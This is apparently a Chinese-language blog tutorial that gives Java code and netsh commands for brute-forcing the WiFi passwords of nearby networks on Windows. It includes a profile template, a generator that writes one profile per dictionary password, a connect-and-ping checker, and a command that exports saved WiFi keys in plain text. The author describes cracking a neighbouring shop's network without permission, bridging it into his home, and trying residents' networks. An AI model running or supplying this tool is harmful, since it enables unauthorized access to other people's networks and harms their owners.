如何在Windows平臺用Java程式碼暴力破解WIFI密碼
開始進入正題。在網上找了很多wifi破解工具,都是linux平臺下用的,然後還不支援虛擬機器裝linux。因為很多筆記本裝虛擬機器都識別不了內建網絡卡。所以得把系統刻到U盤,然後用U盤啟動。但是我現在窮得連一條內褲都沒有了,哪來的U盤啊。於是就決定自己寫,而且還得用Java寫,寫了我還得在windows上執行。
一、準備工作
首先你得需要一臺能連wifi的電腦,
然後你的電腦得支援Java環境,
最後你周圍得有無線網路。
ok,話不多說,說開擼,老夫就要開擼。於是網上找到了windows下cmd無線網路操作的相關命令。如下:
// 列出所有可用wifi netsh wlan show networks mode=bssid // 新增配置檔案 netsh wlan add profile filename=FILE_NAME // 連線wifi netsh wlan connect name=SSID_NAME // 匯出配置檔案 netsh wlan export profile key=clear // 列出配置檔案 netsh wlan show profile // 刪除配置檔案 netsh wlan delete profile name=FILE_NAME // 列出介面 netsh wlan show interface // 開啟介面 netsh interface set interface "Interface Name" enabled
首先需要寫配置檔案,方便待會使用。首先我們可以看看配置檔案張啥樣,匯出配置檔案看看就知道了。開啟命令列,輸入這我這篇文章中,主要會用到前四個命令,其他的命令就當給各位做拓展了。
netsh wlan export profile key=clear
就匯出了配置檔案,注意,這兒的配置檔案預設匯出在cmd執行的當前路徑,如下,
我匯出的檔案就在 C:\Users\Admin 下面,可以看到檔案都是wifi.xml方式。如 TP-LINK_5410.xml ,隨便開啟一個我們可以看到xml檔案的具體內容,但是有一些內容是我們不需要的,我們需要的是下面這個樣子
<?xml version="1.0"?> <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"> <name>SSID_NAME</name> <SSIDConfig> <SSID> <name>SSID_NAME</name> </SSID> </SSIDConfig> <connectionType>ESS</connectionType> <connectionMode>auto</connectionMode> <MSM> <security> <authEncryption> <authentication>AUTH_TYPE</authentication> <encryption>AES</encryption> <useOneX>false</useOneX> </authEncryption> <sharedKey> <keyType>passPhrase</keyType> <protected>false</protected> <keyMaterial>PASSWORD</keyMaterial> </sharedKey> </security> </MSM> <MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3"> <enableRandomization>false</enableRandomization> </MacRandomization> </WLANProfile>
二、掃描WIFI其中 SSID_NAME 是待會我們會用到的wifi名稱, AUTH_TYPE 是wifi的加密方式, PASSWORD 是我們會暴力破解的密碼變數。
OK,背景交代得差不多了,可以開幹了。首先掃描附近的WIFI,返回所有WIFI的資訊,包括SSID、加密方式、訊號強度(訊號太弱的,我們就不進行破解了,破解了也沒啥用)。掃描其實就是執行一個CMD命令的問題,先封裝一個CMD執行器吧。
/** * 執行器 * * @param cmd CMD命令 * @param filePath 需要在哪個目錄下執行 */ private static List<String> execute(String cmd, String filePath) { Process process = null; List<String> result = new ArrayList<String>(); try { if (filePath != null) { process = Runtime.getRuntime().exec(cmd, null, new File(filePath)); } else { process = Runtime.getRuntime().exec(cmd); } BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk")); String line = null; while ((line = bReader.readLine()) != null) { result.add(line); } } catch (IOException e) { e.printStackTrace(); } return result; }
/**
* 列出所有訊號較好的ssid
*
* @return 所有ssid
*/
public static List<Ssid> listSsid() {
List<Ssid> ssidList = new ArrayList<Ssid>();
String cmd = Command.SHOW_NETWORKS;
List<String> result = execute(cmd, null);
if (result != null && result.size() > 0) {
// todo 整合資訊
}
return ssidList;
}
然後掃描周圍wifi資訊,並返回相關資訊
三、生成配置檔案
OK,接下來我們就可以開始針對每個不同的SSID生成不同的配置檔案了,生成檔案整個過程就是根據每個不同的密碼生成一個配置檔案。大概程式碼如下
/**
* 配置檔案生成器
*/
public class ProfileGenerator {
private String ssid = null;
private String passwrodPath = null;
private ExecutorService threadPool = Executors.newFixedThreadPool(4);
public ProfileGenerator(String ssid, String passwrodPath) {
this.ssid = ssid;
this.passwrodPath = passwrodPath;
}
/**
* 生成配置檔案
*/
public void genProfile() {
List<String> passwordList = null;
int counter = 0;
outer:
while (true) {
int start = counter * Connector.BATH_SIZE;
int end = (counter + 1) * Connector.BATH_SIZE - 1;
passwordList = FileUtils.readLine(passwrodPath, start, end);
if (passwordList != null && passwordList.size() > 0) {
// 生成配置檔案
for (String password : passwordList) {
GenThread genThread = new GenThread(ssid, password);
threadPool.execute(genThread);
}
} else {
break outer;
}
counter++;
}
}
}
class GenThread implements Runnable {
private String ssid = null;
private String password = null;
GenThread(String ssid, String password) {
this.ssid = ssid;
this.password = password;
}
public void run() {
String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);
profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);
FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
}
}
需要哪些密碼可以自己現在網上找一些字典來跑,建議順序是 常用弱口令 => 字典面 => 隨機密碼(到了隨機密碼這兒,意義也不大了)。這兒給出一個常見弱口令的下載連線。反正我只用這個弱口令破解過一個WIFI。這兒為了加快檔案生成速度,我開啟了多執行緒。個人實際感受,如果只是幾千到幾萬個的話,其實多執行緒不多執行緒,並沒有多大區別,真正的區別在於後面嘗試連線的時候。
四、遍歷校驗配置檔案
接下來就是最耗時的一步了,一個個密碼去校驗。關鍵程式碼如下
/**
* 校驗WLAN配置檔案是否正確
* <p>
* 校驗步驟為:
* ---step1 新增配置檔案
* ---step3 連線wifi
* ---step3 ping校驗
*/
public synchronized boolean check(String ssid, String password) {
System.out.println("check : " + password);
try {
String profileName = password + ".xml";
if (addProfile(profileName)) {
if (connect(ssid)) {
Thread.sleep(50);
if (ping()) {
return true;
}
}
}
} catch (InterruptedException e) {
e.printStackTrace();
}
return false;
}
/**
* 新增配置檔案
*
* @param profileName 新增配置檔案
*/
private static boolean addProfile(String profileName) {
String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);
List<String> result = execute(cmd, Connector.PROFILE_TEMP_PATH);
if (result != null && result.size() > 0) {
if (result.get(0).contains("新增到介面")) {
return true;
}
}
return false;
}
/**
* 連線wifi
*
* @param ssid 新增配置檔案
*/
private static boolean connect(String ssid) {
boolean connected = false;
String cmd = Command.CONNECT.replace("SSID_NAME", ssid);
List<String> result = execute(cmd, null);
if (result != null && result.size() > 0) {
if (result.get(0).contains("已成功完成")) {
connected = true;
}
}
return connected;
}
/**
* ping 校驗
*/
private static boolean ping() {
boolean pinged = false;
String cmd = "ping " + Connector.PING_DOMAIN;
List<String> result = execute(cmd, null);
if (result != null && result.size() > 0) {
for (String item : result) {
if (item.contains("來自")) {
pinged = true;
break;
}
}
}
return pinged;
}
兩點釋疑:
1.為什麼需要sleep(50)? 因為在連線後,電腦沒有立即反應過來,此時去ping的話,就算密碼正確,都會ping不成功。所以需要sleep。我破解的時候sleep(1000)的,還沒測試50行不行。
2.為什麼需要ping網站? 因為在第二步連線的時候,不管有沒有連線成功,都會出現 ‘已成功完成xx連線’ 的字樣。所以沒辦法,只有用ping來校驗,不過我相信一定能夠優化的。
這一步我開啟了多執行緒,去驗證,有人說為什麼用多執行緒,明明驗證方法都 synchronized 了,我想說的是,單執行緒的話,之間總會有間隙的,所以為了壓榨那一點點時間,我用了多執行緒。
五、連線成功
OK,至此,為師已將畢生功力傳授給你了,你出去就說是三年經驗了。呸,說錯了,至此,整個流程大概就已經出來了,接下來就run你的程式吧。等待密碼的破解。
我一共在我家周圍瞄上了三個訊號看起來還可以的wifi。用這個程式跑了40多秒,開了一個wifi的密碼 12345678。耶成功了終於可以用了。
然後根據密碼,把自家路由器設定一個橋接模式。家裡處處都有網了。
五、或者放棄
或者,你也可以放棄。愉快地用了一晚上過後,我第二天早上起來發現網斷了,原來那個網不存在了,但是到了中午又有了。我估計是底商閉店了,就斷電了,網就沒了。
於是想要撬開一個住戶的網,跑了兩個看起來訊號比較好的網路,都以失敗告終!!!因為密碼字典不夠強大。網上下過幾個字典生成器,都不能用。算了吧先湊合用著現在的網路,等我有空了,寫個字典生成器,來撬開。